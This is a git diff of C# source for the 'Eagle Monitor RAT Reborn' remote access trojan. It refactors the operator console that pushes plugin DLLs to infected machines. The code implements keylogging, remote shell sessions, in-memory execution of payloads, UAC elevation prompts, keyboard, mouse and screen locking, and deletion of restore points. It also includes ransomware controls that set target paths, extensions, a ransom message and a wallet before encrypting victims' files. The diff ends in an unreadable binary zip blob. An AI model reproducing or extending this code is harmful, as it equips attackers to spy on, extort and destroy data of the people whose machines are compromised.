Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1); - this.clientHandler.SendPacket(memoryExecutionPacket); + memoryExecutionPacket = new MemoryExecutionPacket(PacketType.MEM_EXEC_MANAGED_PE, Compressor.QuickLZ.Compress(File.ReadAllBytes(managedPE.Cells[0].Value.ToString()), 1)) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\MemoryExecution.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, memoryExecutionPacket); } } } @@ -1434,64 +1432,85 @@ private void addManagedPEContextMenuStripToolStripMenuItem_Click(object sender, #region "Information" private void retrieveInformationGuna2Button_Click(object sender, EventArgs e) { - InformationPacket informationPacket; - informationPacket = new InformationPacket(); - informationPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1); - this.clientHandler.SendPacket(informationPacket); + InformationPacket informationPacket = new InformationPacket + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, informationPacket); + } + private void retrieveNetworkGuna2Button_Click(object sender, EventArgs e) + { + NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Information.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, networkInformationPacket); } #endregion #region "Keylogger" private void keyloggerGuna2Button_Click(object sender, EventArgs e) { + KeylogPacket keylogPacket; if (this.keyloggerGuna2Button.Text == "Start") { - this.keyloggerHandler = new KeyloggerHandler(); - KeylogPacket keylogPacket = new KeylogPacket(); - keylogPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1); - this.clientHandler.SendPacket(keylogPacket); + this.KeyloggerHandler = new KeyloggerHandler(); + keylogPacket = new KeylogPacket + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, keylogPacket); this.keyloggerGuna2Button.Text = "Stop"; } else { - KeylogPacket keylogPacket = new KeylogPacket(this.clientHandler.IP, this.clientHandler.HWID); - keylogPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1); - this.keyloggerHandler.clientHandler.SendPacket(keylogPacket); + keylogPacket = new KeylogPacket(this.ClientHandler.IP, this.ClientHandler.HWID) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Keylogger.dll"), 1) + }; + ClientHandler.StartSendData(this.KeyloggerHandler.ClientHandler, keylogPacket); this.keyloggerGuna2Button.Text = "Start"; - File.WriteAllText(this.clientHandler.clientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", keystrokeRichTextBox.Text); + File.WriteAllText(this.ClientHandler.ClientPath + "\\Keystrokes\\" + Misc.Utils.DateFormater() + ".txt", keystrokeRichTextBox.Text); } } #endregion #region "Chat" private void chatGuna2Button_Click(object sender, EventArgs e) { + RemoteChatPacket chatPacket; if (this.chatGuna2Button.Text == "Start") { - this.chatHandler = new ChatHandler(); - RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON); - chatPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Chat.dll"), 1); - chatPacket.baseIp = this.clientHandler.IP; - this.clientHandler.SendPacket(chatPacket); + this.ChatHandler = new ChatHandler(); + chatPacket = new RemoteChatPacket(PacketType.CHAT_ON) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Chat.dll"), 1), + BaseIp = this.ClientHandler.IP + }; + ClientHandler.StartSendData(this.ClientHandler, chatPacket); this.chatGuna2Button.Text = "Stop"; } else { - RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF); - chatPacket.baseIp = this.clientHandler.IP; - this.chatHandler.clientHandler.SendPacket(chatPacket); + chatPacket = new RemoteChatPacket(PacketType.CHAT_OFF) + { + BaseIp = this.ClientHandler.IP + }; + ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket); this.chatGuna2Button.Text = "Start"; } } private void chatSendGuna2Button_Click(object sender, EventArgs e) { - if (this.chatHandler != null) + if (this.ChatHandler != null) { - RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON); - chatPacket.msg = usernameChatGuna2TextBox.Text + ": " + messageChatGuna2TextBox.Text + "\n"; - chatPacket.baseIp = this.clientHandler.IP; + RemoteChatPacket chatPacket = new RemoteChatPacket(PacketType.CHAT_ON) + { + msg = usernameChatGuna2TextBox.Text + ": " + messageChatGuna2TextBox.Text + "\n", + BaseIp = this.ClientHandler.IP + }; this.messageRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245); this.messageRichTextBox.AppendText(chatPacket.msg); - this.chatHandler.clientHandler.SendPacket(chatPacket); + ClientHandler.StartSendData(this.ChatHandler.ClientHandler, chatPacket); this.messageChatGuna2TextBox.Text = ""; } } @@ -1500,42 +1519,54 @@ private void chatSendGuna2Button_Click(object sender, EventArgs e) #region "Hardware" private void blockKeyboardGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { + MiscellaneousPacket miscellaneousPacket; if (this.blockKeyboardGuna2CheckBox.Checked) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_OFF); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_OFF) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } else { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_ON); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_KB_ON) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } } private void blockMouseGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { + MiscellaneousPacket miscellaneousPacket; if (this.blockMouseGuna2CheckBox.Checked) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_OFF); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_OFF) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } else { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_ON); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_ON) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Hardware.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } } #endregion #region "UI" private void rotateScreenGuna2Button_Click(object sender, EventArgs e) { - ScreenRotationPacket screenRotationPacket = new ScreenRotationPacket(degreesGuna2ComboBox.Text); - screenRotationPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - clientHandler.SendPacket(screenRotationPacket); + ScreenRotationPacket screenRotationPacket = new ScreenRotationPacket(degreesGuna2ComboBox.Text) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, screenRotationPacket); } private void wallpaperGuna2Button_Click(object sender, EventArgs e) { @@ -1544,77 +1575,98 @@ private void wallpaperGuna2Button_Click(object sender, EventArgs e) if (ofd.ShowDialog() == DialogResult.OK) { string ext = new FileInfo(ofd.FileName).Extension; - WallPaperPacket wallPaperPacket = new WallPaperPacket(Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1), ext); - wallPaperPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - clientHandler.SendPacket(wallPaperPacket); + WallPaperPacket wallPaperPacket = new WallPaperPacket(Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1), ext) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, wallPaperPacket); } } } private void showTaskbarGuna2Button_Click(object sender, EventArgs e) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_TASKBAR); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_TASKBAR) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void showDesktopIconsGuna2Button_Click(object sender, EventArgs e) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_DESKTOP_ICONS); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_DESKTOP_ICONS) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void hideTaskbarGuna2Button_Click(object sender, EventArgs e) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_TASKBAR); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_TASKBAR) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void hideDesktopIconsGuna2Button_Click(object sender, EventArgs e) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_DESKTOP_ICONS); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_DESKTOP_ICONS) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void screenlockerGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { + MiscellaneousPacket miscellaneousPacket; if (this.screenlockerGuna2CheckBox.Checked) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_ON); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_ON) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } else { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_OFF); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_OFF) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\ScreenLocker.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } } #endregion #region "Audio" private void volumeUpGuna2Button_Click(object sender, EventArgs e) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_UP); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_UP) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } private void volumeDownGuna2Button_Click(object sender, EventArgs e) { - MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_DOWN); - miscellaneousPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - this.clientHandler.SendPacket(miscellaneousPacket); + MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_DOWN) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket); } #endregion #region "Web" private void linkWebGuna2Button_Click(object sender, EventArgs e) { - OpenUrlPacket openUrlPacket = new OpenUrlPacket(linkWebGuna2TextBox.Text); - openUrlPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1); - clientHandler.SendPacket(openUrlPacket); + OpenUrlPacket openUrlPacket = new OpenUrlPacket(linkWebGuna2TextBox.Text) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + }; + ClientHandler.StartSendData(ClientHandler, openUrlPacket); } #endregion #region "Power" @@ -1654,8 +1706,8 @@ private void setPowerGuna2Button_Click(object sender, EventArgs e) default: return; } - powerPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\PowerManager.dll"), 1); - this.clientHandler.SendPacket(powerPacket); + powerPacket.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\PowerManager.dll"), 1); + ClientHandler.StartSendData(this.ClientHandler, powerPacket); } #endregion #endregion @@ -1665,9 +1717,9 @@ private void refreshRestorePointToolStripMenuItem_Click(object sender, EventArgs { RestorePointPacket restorePointPacket = new RestorePointPacket { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1) }; - this.clientHandler.SendPacket(restorePointPacket); + ClientHandler.StartSendData(this.ClientHandler, restorePointPacket); } private void deleteRestorePointToolStripMenuItem_Click(object sender, EventArgs e) @@ -1676,21 +1728,21 @@ private void deleteRestorePointToolStripMenuItem_Click(object sender, EventArgs { DeleteRestorePointPacket deleteRestorePointPacket = new DeleteRestorePointPacket(int.Parse(selected.Cells[0].Value.ToString())) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Admin.dll"), 1) }; - this.clientHandler.SendPacket(deleteRestorePointPacket); + ClientHandler.StartSendData(this.ClientHandler, deleteRestorePointPacket); } } #endregion private void askUACGuna2Button_Click(object sender, EventArgs e) { - if (!this.clientHandler.isAdmin) + if (!this.ClientHandler.IsAdmin) { AskAdminRightsPacket askAdminRightsPacket = new AskAdminRightsPacket { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Miscellaneous.dll"), 1) }; - this.clientHandler.SendPacket(askAdminRightsPacket); + ClientHandler.StartSendData(this.ClientHandler, askAdminRightsPacket); } } #endregion @@ -1732,19 +1784,19 @@ private void removeToolStripMenuItem_Click(object sender, EventArgs e) private void generateRSAKeyGuna2Button_Click(object sender, EventArgs e) { - if (File.Exists(this.clientHandler.clientPath + "\\Ransomware\\encryption.json")) + if (File.Exists(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json")) { DialogResult r = MessageBox.Show("You are going to re-generate RSA keys pair for client, are you sure ?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning); if (r.Equals(DialogResult.Yes)) { - Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json")); + Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(ClientHandler.ClientPath + "\\Ransomware\\encryption.json")); Dictionary rsaKey = Misc.Encryption.GetKey(); encryptionInformation.publicRSAServerKey = rsaKey["PublicKey"]; encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"]; string rsa = JsonConvert.SerializeObject(encryptionInformation); - File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\encryption.json", rsa); - this.clientHandler.encryptionInformation = encryptionInformation; + File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa); + this.ClientHandler.EncryptionInformation = encryptionInformation; } return; } @@ -1767,7 +1819,7 @@ private void startEncryptionGuna2Button_Click(object sender, EventArgs e) extensions.Add(ext.Cells[0].Value.ToString()); } - Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json")); + Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(ClientHandler.ClientPath + "\\Ransomware\\encryption.json")); encryptionInformation.wallet = walletGuna2TextBox.Text; encryptionInformation.msg = msgRansomwareGuna2TextBox.Text; encryptionInformation.paths = paths; @@ -1777,21 +1829,25 @@ private void startEncryptionGuna2Button_Click(object sender, EventArgs e) encryptionInformation.subfolders = subDirectoriesGuna2CheckBox.Checked; string newInformation = JsonConvert.SerializeObject(encryptionInformation); - File.WriteAllText(this.clientHandler.clientPath + "\\Ransomware\\encryption.json", newInformation); - this.clientHandler.encryptionInformation = encryptionInformation; + File.WriteAllText(this.ClientHandler.ClientPath + "\\Ransomware\\encryption.json", newInformation); + this.ClientHandler.EncryptionInformation = encryptionInformation; - RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(this.clientHandler.encryptionInformation.publicRSAServerKey, this.clientHandler.encryptionInformation.paths, this.clientHandler.encryptionInformation.subfolders, this.clientHandler.encryptionInformation.checkExtensions); - ransomwareEncryptionPacket.plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1); - ransomwareEncryptionPacket.msg = this.msgRansomwareGuna2TextBox.Text; - ransomwareEncryptionPacket.wallet = this.walletGuna2TextBox.Text; - this.clientHandler.SendPacket(ransomwareEncryptionPacket); + RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(this.ClientHandler.EncryptionInformation.publicRSAServerKey, this.ClientHandler.EncryptionInformation.paths, this.ClientHandler.EncryptionInformation.subfolders, this.ClientHandler.EncryptionInformation.checkExtensions) + { + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1), + msg = this.msgRansomwareGuna2TextBox.Text, + wallet = this.walletGuna2TextBox.Text + }; + ClientHandler.StartSendData(this.ClientHandler, ransomwareEncryptionPacket); } private void startDecryptionGuna2Button_Click(object sender, EventArgs e) { - RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(this.clientHandler.encryptionInformation.privateRSAServerKey); - ransomwareDecryptionPacket.plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1); - this.clientHandler.SendPacket(ransomwareDecryptionPacket); + RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(this.ClientHandler.EncryptionInformation.privateRSAServerKey) + { + Plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1) + }; + ClientHandler.StartSendData(this.ClientHandler, ransomwareDecryptionPacket); } #endregion #region "Shell" @@ -1799,24 +1855,26 @@ private void remoteShellGuna2Button_Click(object sender, EventArgs e) { if (this.remoteShellGuna2Button.Text == "Start Session") { - this.remoteShellHandler = new RemoteShellHandler(); + this.RemoteShellHandler = new RemoteShellHandler(); StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(remoteShellGuna2ToggleSwitch.Checked) { - plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteShell.dll"), 1) + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID, + Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\RemoteShell.dll"), 1) }; - this.clientHandler.SendPacket(startShellSessionPacket); + ClientHandler.StartSendData(this.ClientHandler, startShellSessionPacket); this.remoteShellGuna2Button.Text = "Stop Session"; } else { - if (clientHandler != null) + if (ClientHandler != null) { StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket() { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteShellHandler.clientHandler.SendPacket(stopShellSessionPacket); + ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket); this.remoteShellGuna2ToggleSwitch.Enabled = true; this.remoteShellGuna2TextBox.Enabled = false; @@ -1840,10 +1898,10 @@ private void remoteShellGuna2TextBox_KeyDown(object sender, KeyEventArgs e) default: NewCommandShellSessionPacket newCommandShellSessionPacket = new NewCommandShellSessionPacket(input) { - baseIp = this.clientHandler.IP, - HWID = this.clientHandler.HWID + BaseIp = this.ClientHandler.IP, + HWID = this.ClientHandler.HWID }; - this.remoteShellHandler.clientHandler.SendPacket(newCommandShellSessionPacket); + ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, newCommandShellSessionPacket); break; } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx index 37e11477..c0cb83f3 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx @@ -323,6 +323,21 @@ namespace EagleMonitor True + + True + + + True + + + True + + + True + + + True + True diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.zip b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.zip new file mode 100644 index 0000000000000000000000000000000000000000..f46ac2ccb7b6a3508a1659d2cc9964fba147213c GIT binary patch literal 9551 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 